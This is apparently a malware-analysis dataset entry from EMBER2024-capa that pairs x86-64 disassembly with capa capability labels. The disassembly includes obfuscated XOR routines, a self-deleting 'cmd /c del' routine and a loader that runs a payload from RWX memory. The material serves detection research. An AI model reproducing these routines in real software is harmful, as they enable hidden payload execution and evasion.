joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140086970
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
xchg rdi, rbp
mov qword [rsp + 0x10], rdi
xchg rbp, rdi
xchg rcx, rsi
mov qword [rsp + 0x20], rcx
xchg rsi, rcx
push rdi
xchg r13, r13
nop
mov qword [rsp - 8], r12
sub rsp, 8
nop
mov qword [rsp - 8], r13
sub rsp, 8
nop
mov qword [rsp - 8], r14
sub rsp, 8
nop
push 0x3c44354d
mov qword [rsp], r15
nop
add rsp, 0x36f3c486
sub rsp, 0x36f3c4a6
mov r14d, r8d
xchg rdi, rcx
mov rcx, rdx
xchg rdi, rcx
mov r9d, r14d
mov dword [rsp - 0x30], edi
mov r13, rcx
cmp r8d, 0x40000
jb 0x140086a04
mov r9d, 0x43c52475
add r9d, 0x180f6d41
sub r9d, 0x577f7680
sub r9d, 0x4511b36
nop
movabs rcx, 0xffffffff58571bce
add rcx, 0x154706ae
sub rcx, 0x5cc80df
add rcx, 0x7fffffff
xor rcx, 0x182e5e63
mov eax, 0x4c5fc44d
sub eax, 0x1dbff0cf
add eax, 0x177016de
add eax, 0x94ff5c5
sub eax, 0x4f5fe01d
mul r9
mov dword [rsp - 0x14], 0xbadb85d
cmovo rax, rcx
xchg rcx, rax
mov rax, rcx
xchg rcx, rax
call fcn.140095da0
mov r12, r12
mov esi, dword [r13 + 0x18]
lea r15d, [r14 + 0xfffff]
shr r15d, 0xd
shr r15d, 2
shr r15d, 4
shr r15d, 1
xor ebx, ebx
mov rbp, rax
mov dword [rsp - 0x2c], ebx
mov r12b, 0x38
sub r12b, 0x2d
xor r12b, 0x3b
sub r12b, 0x2f
test r15d, r15d
je 0x140086ba9
mov dword [rsp - 0xc], esi
nop
mov r8d, ebx
mov r10d, r14d
mov dword [rsp - 0x3c], ebx
shl r8d, 0xf
shl r8d, 1
shl r8d, 3
shl r8d, 1
xor eax, eax
sub r10d, r8d
mov rsp, rsp
shr r8d, 2
cmp r10d, 0x100000
jbe 0x140086b19
xchg rbx, rbx
mov r10d, 0x2b3231df
xor r10d, 0x2175ac5a
xor r10d, 0x7c6193c7
sub r10d, 0x1b912b42
sub r10d, 0x5a84e300
mov r11d, 0x32bb3ae5
add r11d, 0x1e852aa8
xor r11d, 0x101a3a19
sub r11d, 0x41565f94
jmp 0x140086b2d
mov r11d, r10d
shr r11d, 2
mov dword [rsp - 0x20], ebp
test r11d, r11d
je 0x140086b68
xchg r9, r14
mov r14, rbp
xchg r14, r9
nop dword [rax]
lea edx, [r8 + rax]
mov rdx, rdx
mov ecx, esi
xor ecx, dword [rdi + rdx*4]
lea r9, [r9 + 4]
xor ecx, 0x7d1d1101
mov r8, r8
inc eax
mov dword [r9 - 4], ecx
cmp eax, r11d
jb 0x140086b3d
mov rbx, rbx
mov r8d, r10d
xchg rbp, rcx
mov rdx, rcx
xchg rbp, rcx
xchg rcx, r14
mov r14, r13
xchg rcx, r14
call fcn.140083810
mov dword [rsp - 0x3c], 0x1280cd97
test al, al
je 0x140086ba6
inc ebx
mov dword [rsp - 0x20], ecx
cmp ebx, r15d
jb 0x140086aa3
jmp 0x140086ba9
xor r12b, r12b
xchg rsp, rbp
mov rcx, rsp
xchg rsp, rbp
call fcn.140095db0
mov rbx, qword [rsp + 0x50]
movzx eax, r12b
mov dword [rsp - 0x40], 0x2f6e6fdb
mov rbp, qword [rsp + 0x58]
xchg rbp, rsi
mov rbp, qword [rsp + 0x68]
xchg rsi, rbp
sub rsp, 0xffffffffffffffe0
xchg r10, r10
nop
add rsp, 8
mov r15, qword [rsp - 8]
nop
mov r14, qword [rsp]
add rsp, 8
nop
mov r13, qword [rsp]
add rsp, 8
pop r12
nop
add rsp, 8
mov rdi, qword [rsp - 8]
ret
Function at 0x140086c10
Capabilities:
Encode data using xor

Disassembly:
xchg r13, rbx
mov qword [rsp + 0x10], r13
xchg r13, rbx
mov qword [rsp + 0x18], rbp
push rsi
mov dword [rsp - 0x3c], esi
nop
sub rsp, 8
mov qword [rsp], rdi
nop
sub rsp, 8
mov qword [rsp], r12
nop
sub rsp, 8
mov qword [rsp], r14
nop
mov qword [rsp - 8], r15
sub rsp, 8
mov eax, 0x51f33c9
add eax, 0x33256720
xor eax, 0x641a2c12
sub eax, 0x5c5ea6db
call fcn.140097b60
xchg rcx, rcx
sub rsp, rax
xchg r15, rsp
mov rsp, rcx
xchg r15, rsp
call fcn.140097a20
mov rcx, rcx
mov ebp, eax
and ebp, 0x3fc
jbe 0x140086cdd
lea rdi, [rsp + 0x20]
xchg r12, r12
mov esi, ebp
call fcn.140097a20
movzx ebx, ax
mov dword [rsp - 0x30], 0x7180281b
shl ebx, 2
shl ebx, 3
shl ebx, 1
shl ebx, 2
shl ebx, 2
shl ebx, 2
shl ebx, 3
shl ebx, 1
call fcn.140097a20
mov r11, r11
movzx ecx, ax
lea rdi, [rdi + 4]
or ecx, ebx
xchg rsi, rsi
mov dword [rdi - 4], ecx
sub rsi, 1
jne 0x140086c92
mov dword [rsp - 0x38], ebp
lea r14d, [rbp*4]
mov eax, 0x2f484325
sub eax, 0x29b1a6a
xor eax, 0x4a1bba01
xor eax, 0x66b692be
mov ecx, r14d
mov rdi, rdi
mul rcx
pushf
movabs rcx, 0xffffffff0f4ba42e
add rcx, 0x3533a4ee
sub rcx, 0x42c9703b
add rcx, 0x5f0dc7df
add rcx, 0x7fffffff
add rcx, 0x1f3c5f40
popf
cmovo rax, rcx
mov dword [rsp - 0xc], edi
xchg rcx, rax
mov rax, rcx
xchg rcx, rax
call fcn.140095da0
mov dword [rsp - 0x20], edx
mov edi, dword [r15 + 0x18]
lea ebp, [r14 + 0xfffff]
shr ebp, 4
shr ebp, 0xf
shr ebp, 1
xor ebx, ebx
xchg rsi, rsi
mov rsi, rax
mov r12b, 0x22
add r12b, 0x4b
sub r12b, 0x6c
add r12b, 0x20
sub r12b, 0x20
test ebp, ebp
mov r10, r10
je 0x140086eaf
nop
mov r8d, ebx
mov r10d, r14d
mov dword [rsp - 0x38], 0x30059707
shl r8d, 0xe
shl r8d, 2
shl r8d, 1
shl r8d, 1
shl r8d, 1
shl r8d, 1
xor eax, eax
mov dword [rsp - 0x34], ebp
sub r10d, r8d
shr r8d, 1
shr r8d, 1
cmp r10d, 0x100000
mov dword [rsp - 0x14], 0x28d1a26d
jbe 0x140086e15
mov r10d, 0x78308d9c
xor r10d, 0x495e0d82
xor r10d, 0x59a859af
xor r10d, 0x39b72d62
sub r10d, 0x5161f4d3
mov r11d, 0x6cbb02c2
sub r11d, 0x3a1c9f9c
sub r11d, 0x1e4442e6
sub r11d, 0xf8ff9cc
sub r11d, 0x4c62674
jmp 0x140086e31
mov r11d, r10d
mov dword [rsp - 0x24], 0x79858624
shr r11d, 2
test r11d, r11d
je 0x140086e6e
mov dword [rsp - 0x34], esp
xchg r8, r9
mov r8, rsi
xchg r8, r9
nop dword [rax]
mov r9, r9
lea edx, [r8 + rax]
mov ecx, edi
xor ecx, dword [rsp + rdx*4 + 0x20]
lea r9, [r9 + 4]
mov dword [rsp - 0x28], edx
xor ecx, 0x7d1d1101
inc eax
mov dword [r9 - 4], ecx
xchg r12, r12
cmp eax, r11d
jb 0x140086e44
mov r8d, r10d
mov rbx, rbx
mov rdx, rsi
xchg r15, rcx
mov r15, rcx
xchg rcx, r15
call fcn.140083810
test al, al
mov dword [rsp - 0x18], 0x6dbe734a
je 0x140086eac
inc ebx
cmp ebx, ebp
jb 0x140086d86
mov dword [rsp - 0x2c], 0x27dedab0
jmp 0x140086eaf
xor r12b, r12b
mov rcx, rsi
xchg rbp, rbp
call fcn.140095db0
lea r11, [rsp + 0x1020]
movzx eax, r12b
xchg r13, r13
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
xchg rsp, rcx
mov rcx, r11
xchg rsp, rcx
nop
add rsp, 8
mov r15, qword [rsp - 8]
pop r14
pop r12
xchg rsi, rsi
nop
add rsp, 8
mov rdi, qword [rsp - 8]
pop rsi
mov dword [rsp - 0x44], esp
ret
Function at 0x140089ff0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov r8, r8
mov ebx, edx
mov r8d, ecx
test ecx, ecx
jne 0x14008a016
xchg rdx, rdx
xor eax, eax
xchg rbx, rcx
mov rcx, qword [rsp + 8]
xchg rbx, rcx
ret
xor r10d, r10d
xchg r11, r11
mov r11d, r8d
mov edx, r10d
mov r9d, r8d
xchg rcx, rcx
nop dword [rax]
nop word [rax + rax]
lea eax, [r9 + r9]
xchg rcx, rcx
mov ecx, edx
xor ecx, r9d
mov r9d, eax
test r11b, 1
mov rcx, rcx
cmove ecx, edx
xor r9d, ebx
cmp eax, 0x100
xchg rsi, rsi
mov edx, ecx
cmovb r9d, eax
shr r11d, 1
jne 0x14008a036
mov dword [rsp - 0x44], ebp
mov r11d, r8d
mov r9d, r10d
test ecx, ecx
je 0x14008a0b7
xchg r13, r13
lea eax, [r11 + r11]
mov ecx, r9d
xor ecx, r11d
mov r11d, eax
xchg r10, r10
test dl, 1
cmove ecx, r9d
xor r11d, ebx
xchg rdx, rdx
cmp eax, 0x100
mov r9d, ecx
cmovb r11d, eax
mov dword [rsp - 0x40], 0x23bafe
shr edx, 1
jne 0x14008a07e
mov r11d, r9d
mov edx, r10d
mov dword [rsp - 0x1c], 0x3d9c5d5c
test r9d, r9d
je 0x14008a118
nop dword [rax]
nop word [rax + rax]
mov dword [rsp - 0x30], edx
lea eax, [r11 + r11]
mov ecx, edx
xor ecx, r11d
mov r11d, eax
xchg rsp, rsp
test r9b, 1
cmove ecx, edx
xor r11d, ebx
cmp eax, 0x100
xchg rbx, rbx
mov edx, ecx
cmovb r11d, eax
shr r9d, 1
mov dword [rsp - 0xc], 0x6c0f81f7
jne 0x14008a0e0
test edx, edx
je 0x14008a161
mov rbx, rbx
nop word [rax + rax]
mov ecx, r10d
xor ecx, r8d
test dl, 1
mov rsp, rsp
cmove ecx, r10d
mov r10d, ecx
lea ecx, [r8 + r8]
xchg rbx, rbx
mov r8d, ecx
xor r8d, ebx
cmp ecx, 0x100
xchg r15, r15
cmovb r8d, ecx
shr edx, 1
jne 0x14008a129
mov rcx, rcx
mov rbx, qword [rsp + 8]
mov eax, r10d
ret
Function at 0x140492fd0
Capabilities:
Execute syscall

Disassembly:
xchg rsp, r10
mov rsp, rcx
xchg rsp, r10
mov eax, dword [0x1404a1084]
cmp qword [0x1404a1098], 0
xchg rdi, rdi
jne 0x140086f00
syscall
ret
jmp 0x140087a1e
Function at 0x180ab4fd5
Capabilities:
Encode data using xor

Disassembly:
lea rdi, [0x180ab37c8]
lea rsp, [rsp + 8]
mov r10d, 0x45b0869a
movzx r10d, byte [r10 + rax - 0x45b0869a]
xor r10d, ebx
push 0x2c8e2f1f
and r10d, 0xff
mov r10d, dword [rdi + r10*4]
push 0xffffffffdf947394
shr ebx, 8
xor ebx, r10d
inc rax
xor ebx, 0x33a34f38
sub word [rsp + 0xc], 0x8d28
dec rdx
lea rsp, [rsp + 0x10]
jne 0x180ab4fe1
pop r10
Function at 0x14000cd60
Capabilities:
Encode data using xor

Disassembly:
push rbp
lea rbp, [rsp - 0x300]
sub rsp, 0x400
mov dword [rsp + 0x20], WSAStartup
xor eax, eax
mov byte [rsp + 0x24], 0x36
mov byte [rsp + 0x25], 0x40
mov byte [rsp + 0x26], 0x30
mov byte [rsp + 0x27], 0x4d
mov byte [rsp + 0x28], 0x29
mov byte [rsp + 0x29], 8
mov byte [rsp + 0x2a], 1
mov byte [rsp + 0x2b], 8
mov byte [rsp + 0x2c], 0x19
mov byte [rsp + 0x2d], 4
mov byte [rsp + 0x2e], 3
mov byte [rsp + 0x2f], 0xa
mov byte [rsp + 0x30], 0x4d
mov byte [rsp + 0x31], 0x1e
mov byte [rsp + 0x32], 8
mov byte [rsp + 0x33], 1
mov byte [rsp + 0x35], al
mov byte [rsp + 0x34], 0xb
movzx eax, byte [rsp + 0x24]
xor eax, eax
nop dword [rax + rax]
movzx ecx, byte [rsp + rax + 0x24]
mov edx, dword [rsp + 0x20]
xor dl, cl
mov byte [rsp + rax + 0x24], dl
inc rax
cmp rax, 0x11
jb 0x14000cde0
lea rdx, [rsp + 0x24]
mov byte [rsp + 0x35], 0
lea rcx, [rbp - 0x50]
call fcn.1400036c0
mov rcx, rax
call fcn.14000ccc0
xor edx, edx
lea rcx, [rbp - 0x30]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp + 0x1f0]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp + 0xe0]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [0x14001eed0]
mov r8d, 0x104
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x30]
call qword [0x14001edd0]
mov r8d, 0x104
lea rdx, [rbp + 0x1f0]
lea rcx, str.COMSPEC
call qword [0x14001ef30]
lea rdx, str._c_del
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.___nul
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor eax, eax
mov dword [rsp + 0x40], WSAStartup
mov qword [rbp - 0x5c], rax
lea rcx, [rsp + 0x40]
mov dword [rbp - 0x54], eax
xorps xmm0, xmm0
mov qword [rsp + 0x48], rax
lea rax, str.Open
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x74], xmm0
mov qword [rsp + 0x68], 0
movups xmmword [rbp - 0x7c], xmm0
mov dword [rsp + 0x70], 0
movups xmmword [rbp - 0x6c], xmm0
mov dword [rsp + 0x44], 0x40
call qword [0x14001ee50]
test eax, eax
je 0x14000cf93
mov rcx, qword [rbp - 0x58]
mov edx, 0x40
call qword [0x14001ee60]
call qword [0x14001ee10]
mov rcx, rax
mov edx, 0x100
call qword [0x14001ee60]
call qword [0x14001ee18]
mov rcx, rax
mov edx, 0xf
call qword [0x14001ef08]
xor r9d, r9d
lea r8, [rbp - 0x30]
lea edx, [r9 + 5]
lea ecx, [rdx - 1]
call qword [0x14001eda0]
call qword [0x14001ee10]
mov rcx, rax
xor edx, edx
call qword [0x14001eec8]
call qword [0x14001ee10]
mov rcx, rax
xor edx, edx
call qword [0x14001eec8]
add rsp, 0x400
pop rbp
ret
Function at 0x14000d630
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x50
movaps xmmword [rsp + 0x40], xmm6
mov rbx, rcx
lea rdi, [rcx + 0x18]
cmp qword [rdi], 0xf
jbe 0x14000d662
mov rcx, qword [rcx]
lea rbp, [rbx + 0x18]
jmp 0x14000d665
mov rbp, rdi
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
call qword [0x14001ee78]
mov rsi, rax
mov r14, rdi
cmp rax, 0xffffffffffffffff
je 0x14000d723
lea rdx, [rsp + 0x70]
mov rcx, rax
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_GetFileSizeEx]
mov rcx, rsi
test eax, eax
je 0x14000d71a
xorps xmm6, xmm6
cvtsi2sd xmm6, qword [rsp + 0x70]
mulsd xmm6, qword [0x140018f60]
call qword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
nop
mov rdx, qword [rdi]
cmp rdx, 0xf
jbe 0x14000d707
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14000d6fe
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000d713
mov rcx, r8
call fcn.140012038
lea rdi, [rbx + 0x18]
mov qword [rdi], 0xf
movaps xmm0, xmm6
jmp 0x14000d767
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
mov r14, rbp
mov rdx, qword [rdi]
cmp rdx, 0xf
jbe 0x14000d758
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14000d753
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000d78d
mov rcx, r8
call fcn.140012038
mov qword [r14], 0xf
movsd xmm0, qword [0x140018f98]
mov byte [rbx], 0
mov qword [rbx + 0x10], 0
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x80]
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14000d7a0
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0x210
mov rbx, rdx
mov rdi, rcx
mov ecx, 0x202
lea rdx, [rsp + 0x70]
xor r14d, r14d
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14000d817
cmp qword [rbx + 0x18], 0xf
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x44], 2
mov dword [rsp + 0x48], 1
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
jbe 0x14000d7f5
mov rbx, qword [rbx]
lea r9, [rsp + 0x240]
xor edx, edx
lea r8, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x14000d835
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, [0x140018cc2]
mov rcx, rdi
call fcn.1400036c0
mov rax, rdi
add rsp, 0x210
pop r14
pop rdi
pop rbx
ret
mov rbx, qword [rsp + 0x240]
mov qword [rsp + 0x230], rbp
mov ebp, 0x16
mov qword [rsp + 0x238], rsi
test rbx, rbx
je 0x14000d88c
nop word [rax + rax]
mov rdx, qword [rbx + 0x20]
lea r8, [rsp + 0x28]
add rdx, 4
mov r9, rbp
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_ntop]
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x14000d860
mov rbx, qword [rsp + 0x240]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xorps xmm0, xmm0
lea rax, [rsp + 0x28]
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r14
mov rbx, 0xffffffffffffffff
mov qword [rdi + 0x18], r14
inc rbx
cmp byte [rax + rbx], r14b
jne 0x14000d8b5
movabs rsi, 0x7fffffffffffffff
cmp rbx, rsi
ja 0x14000d9a6
mov qword [rdi + 0x18], 0xf
cmp rbx, 0xf
ja 0x14000d8fc
mov r8, rbx
mov qword [rdi + 0x10], rbx
lea rdx, [rsp + 0x28]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], r14b
jmp 0x14000d987
mov rax, rbx
or rax, 0xf
cmp rax, rsi
jbe 0x14000d931
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140011ffc
test rax, rax
je 0x14000d953
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14000d967
cmp rax, rbp
mov rsi, rax
cmovb rsi, rbp
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14000d95a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000d9ac
jmp 0x14000d916
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000d967
call fcn.140011ffc
mov r14, rax
mov r8, rbx
mov qword [rdi], r14
lea rdx, [rsp + 0x28]
mov qword [rdi + 0x10], rbx
mov rcx, r14
mov qword [rdi + 0x18], rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
mov rbp, qword [rsp + 0x230]
mov rax, rdi
mov rsi, qword [rsp + 0x238]
add rsp, 0x210
pop r14
pop rdi
pop rbx
ret
call fcn.1400030e0
int3
call fcn.140003040
int3

Function at 0x140012954
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetModuleHandleW]
test rax, rax
je 0x14001299e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001299e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001299e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001299e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001299e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400129a0
xor al, al
add rsp, 0x28
ret
Function at 0x1400014b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rsi
sub rsp, 0x50
mov rax, qword [0x140060008]
xor rax, rsp
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [0x1400568e0]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [str.__crterror_handler_main_common_lang.dll]
movaps xmmword [rsp + 0x20], xmm0
movabs rax, 0x6c6c642e676e61
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp rax, 0xffffffffffffffff
je 0x14000150c
nop dword [rax]
mov ecx, 0x1388
call fcn.140001000
jmp 0x140001500
mov ecx, 0x7d0
call fcn.140001000
mov ecx, 0xbb8
call fcn.140001000
mov edx, 0x48573
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140001558
mov rsi, rax
lea rdx, str.PSQRVWUTAPAQARASATAUAVAW
mov r8d, 0x48573
mov rcx, rax
call fcn.140002500
call rsi
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001870
xor eax, eax
add rsp, 0x50
pop rsi
ret

Function at 0x140003eb8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140003ce4
Function at 0xa8d28c
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
xor bx, cx
push rdx
lea rcx, [rsp + rcx + 0x10]
add byte [rsp + 5], dh
sal dx, 0xe7
mov qword [rsp + 8], 0xffffffffec092419
mov dx, word [rcx + riz]
sbb r11, 2
push 0xffffffffadbee29f
push 0x6a023f00
jmp 0x156e9a0
lea rsp, [rsp + 0x20]
jmp fcn.00a94d4f
mov word [r11], dx
jmp 0xa92d96

Function at 0xa90092
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
mov r9, qword [rsp + 0x20]
lea rsp, [rsp + 0x28]
jmp fcn.01571ab5

Function at 0xa91750
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
lea rsp, [rsp + 0x38]
jmp fcn.00a94d4f

Function at 0xa94a97
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
mov dword [r11], r10d
push 0x66132d3f
lea rsp, [rsp + 0x38]
jmp fcn.00a94d4f

Function at 0xa954f9
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
jmp 0x156ce20
push 0x549c39b7
push 0x56820525
lea rsp, [rsp + 0x18]
jmp fcn.00a94d4f
mov word [r11], dx
jmp 0x155f685

Function at 0xa97079
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
lea rsp, [rsp + 8]
jne 0x1585d0f
mov r9d, 0x123a3f08
mov r9, rax
push 0x4c2de682
push 0xffffffffa41fc2b8
lea rsp, [rsp + 0x10]
jmp 0x1558bb5
jmp 0xa95189
mov eax, 0x313eaf26
mov rax, qword [rbp + rbx*8 + 0x20]
jmp 0xa9adc1
Function at 0xa97455
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
not r10b
call fcn.00a8e8d9
mov rcx, qword [r11]
mov edi, 0xad92150b
not rdi
lea rdi, [rdi*4 + 0xb36580b]
mov rdi, qword gs:[rcx + riz]
mov qword [r11], rdi
jmp 0x155ece1
jmp 0xa8d4c6
dec bp
ror qword [rsp + 3], 0x8c
xor bp, 0x8812
xor bx, bp
call fcn.0153c2e3
and r10b, dl
jmp 0xa9855a
ror al, 1
push 0x773dee9a
jmp 0x1565704
jmp 0xa93302
xor bl, al
push 0xffffffffc293d886
push 0xffffffffb285f208
sub r11, 2
mov word [r11], ax
jmp 0x155ac76
push 0x2b83cbb
lea rsp, [rsp + 0x40]
jmp fcn.00a94d4f
neg bpl
movzx ebp, word [r9 + riz]
push 0x4c27a006
ror word [rsp + 3], 0x4a
rol byte [rsp + 7], 0xc5
xor bp, bx
jmp 0x1578414
push 0xffffffffea38682c
not byte [rsp + 7]
neg ax
shr word [rsp + 6], 0x24
push 0xffffffffec0c6623
rol ax, 1
add qword [rsp + 8], 0x6429e2a3
dec ax
inc dword [rsp + 9]
ror word [rsp + 0xc], 0x6a
or qword [rsp + 8], 0xfffffffff1127a8e
not ax
shr dword [rsp + 0xc], 0x8b
adc ax, 0x4508
dec dword [rsp + 0xc]
push 0x57137918
call fcn.01585cf7
fsub dword [rdx + 0x40]
sbb esp, ecx
sub al, dh
or ecx, esp
adc esi, dword [rdi - 0x3e6edc13]
xor edi, eax
pop rbp
pop rcx
push rcx
invalid
jb 0x1567da0
mov ebp, 0xf5397b99
movsx edi, bpl
mov edi, dword [r11 + riz]
xor bp, bp
adc r11, 4
sub r9, 2
jmp 0xb14c70
invalid
call fcn.01584e66
movzx eax, word [r9 + riz]
jb 0x154de29
in al, 0x62
cmp r9d, r10d
jne 0x155ac4d
sbb ecx, ebp
jbe 0x155ace5
sbb eax, 0x3905fecb
pop rdi
push 0x79
xchg byte [rsi - 0x2712ecf7], al
jrcxz 0x155ac80
jno 0x155ace7
xlatb
jmp 0x155acc3
sar edx, cl
mov ah, 0xf8
xchg esp, eax
and eax, 0x5f732b10
invalid
clc
invalid
pop rsp
invalid
push 0xfffffffff999f48d
call fcn.01557dfd
nop
fld dword [rdi + 0x72]
and dword [0xffffffff8b0bc3d8], ebx
lahf
invalid
neg dword [rsp + 3]
dec al
mov qword [rsp + 8], 0xffffffffbdb100ba
sar word [rsp + 5], 0x83
sub dword [rsp + 9], 0xa53ab432
rol al, 1
sar qword [rsp + 0xd], 0x64
dec dword [rsp + 2]
sbb al, 0x90
jmp 0xa9e487
push 0x4aac4100
mov qword [rsp + 6], 0xffffffffac0984aa
lea rsp, [rsp + 0x18]
jmp fcn.01571ab5
xor ax, bx
jmp 0x153fbf9
sar qword [rsp], 0xde
jp 0x1565bea
inc bp
push 0xffffffffe9a736b7
neg bp
ror qword [rsp + 7], 0x7e
jae 0xa95536
mov word [r11], di
push 0x6f11a1b5
jmp 0xa9e4e7

Function at 0xa993f9
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
push 0x723036ba
lea rsp, [rsp + 0x28]
jmp fcn.01571ab5
Function at 0xaa10f6
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
not dword [rsp]
mov qword [r11], r10
call fcn.01541469
push 0x5201910f
xor bp, bx
dec qword [rsp]
jnp 0xa9e57b
mov qword [r11], rbp
jmp 0x153e695
push 0x389a859b
call fcn.00aa10f6
mov edi, 0xfd19d731
lea rdi, [rdi + rdi*8 - 0x4c528c5b]
sub edi, edi
xor rdi, qword [r11 + rdi]
mov eax, 0x72c42a4
mov al, byte [r11 + rax*2 - 0xe588540]
add r11, 0xa
mov byte [rdi], al
push 0xffffffffb4130f16
push 0x18809188
push 0xffffffffe6345a0c
lea rsp, [rsp + 0x18]
jmp fcn.01571ab5
mov dword [r11], edx
jmp 0xa94007
lea rsp, [rsp + 0x18]
jmp fcn.00a94d4f
mov edx, 0x3f25d880
mov ecx, 0xf3cc033
dec ecx
movzx ecx, word [r9 + rdx*2 - 0x7e4bb100]
and dx, 0xcf2a
btr rdx, rdx
xor cx, bx
xor dl, dh
rol rdx, 0x1d
rol cx, 1
sal edx, 0xe8
sub edx, edx
dec cx
lea rdx, [rdx - 0xd8f2ee]
xor cx, 0x9a3d
add edx, edx
sbb cx, 0x7418
dec edx
dec edx
neg cx
btr rdx, 0xaa
or dl, 0x1c
imul rdx, rdx
sbb cx, 0x778c
sub rdx, 0x74829ca2
rol cx, 1
lea rdx, [rdx + rdx + 0x323829]
call fcn.00a8d28c
or al, 0x45
jnp 0xa97900
invalid
and eax, 0x475dceee
sbb dword [rdi + rax*4], ebp
mov ebx, 0xaf93784d
imul ebx, dword [rdi + rdi*8 - 0x3d], 0x2f13380d
movabs eax, dword [0xd9c7fb98ad132f6b]
in al, dx
pop rbx
test dword [rsi + 0x3b9891bd], esi
stc
cwde
cmp edi, ecx
js 0xa97885
add byte [rax], al
add byte [rax], al
add dh, dl
ror byte [rax], 2
push 0x468dce07
invalid
jp 0xa978d7
xor edx, edi
xor ah, byte [rdx + 0x2b]
cmp eax, 0xc1675b08
hlt
xor bp, 0x969c
shr byte [rsp + 4], 0xa1
push 0x37163034
dec bp
call fcn.01574fb4
jmp 0xa9328e
bswap edi
